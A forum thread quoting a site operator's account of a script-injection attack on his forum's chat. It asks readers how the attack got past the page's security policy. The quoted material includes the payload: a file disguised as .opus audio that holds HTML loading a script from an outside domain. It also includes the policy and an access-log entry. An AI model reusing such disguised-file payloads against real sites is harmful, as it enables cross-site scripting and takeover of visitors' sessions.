Jump in the discussion.

No email address required.

What does it say? I’m not installing another app.

Jump in the discussion.

No email address required.

You should be able to read it without Telegram

:marseynull:

>The issue was a script injection. I am working on the details. Here is my challenge to any hackers or aspiring hackers.

>There is a file called :marseytrain2:shine.opus, with the contents of this:

>!DOCTYPE html>

>script src=//poz.hiv/load.js>

>The web document, on the same domain, has a CORS rule that looks like this:

>meta http-equiv="Content-Security-Policy" content="script-src 'self' 'nonce-0113ffa9cf5af884e070dd1e36188e5db5ba4bbdacaef1c21a733cea089a7fce'" />

>What could you possibly put into that document to get it to load the .opus and have the script execute?

>The more finer details are this: XenForo does not validate any file contents. You can write an .opus file that is basically just an HTML document loading a script off-site and if you somehow open it, it does run. I have confirmed this.

>The question is of how it got injected. The chat on Kiwi Farms was a Rust websocket chat that was part of a forum rewrite I had been working on. Relevant source:

https://github.com/jaw-sh/ruforo/blob/master/src/bin/xf_chat/main.rs

https://github.com/jaw-sh/ruforo/blob/master/resources/js/chat.js

https://github.com/jaw-sh/ruforo/tree/master/src/bbcode

>What baffles me is that even if we did theoretically pass the client a message that was simply instruction to load another script, it should not work, because the security policy of the chat explicitly says that no scripts should run — EVEN FROM THE SAME DOMAIN — unless they are given a nonce token. I know it happened in the chat, though, because I found the access.log entry where it gets opened:

>x.x.x.x - - [18/Sep/2022 -0400] "GET /data/audio/3696/3696202-c63cc36fd4acb874fdebd0b3988c3410.opus HTTP/1.1" 200 90 "https://kiwifarms.st/test-chat?style=dark" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"

>So what can be done to make an .opus media file load as an inline web document which can execute its own scripts that violate the CORS of the web document it's loaded into? I just don't understand.

>[email protected]

>P.S. If you're going to write me and take credit for the attack, include the name of the random user you made an admin.

>Edit: I believe that the .opus file with the xss payload was injected via an iframe that was somehow added to chat. I don't know how they rendered an iframe but that would work.

Jump in the discussion.

No email address required.

Link copied to clipboard
Action successful!
Error, please refresh the page and try again.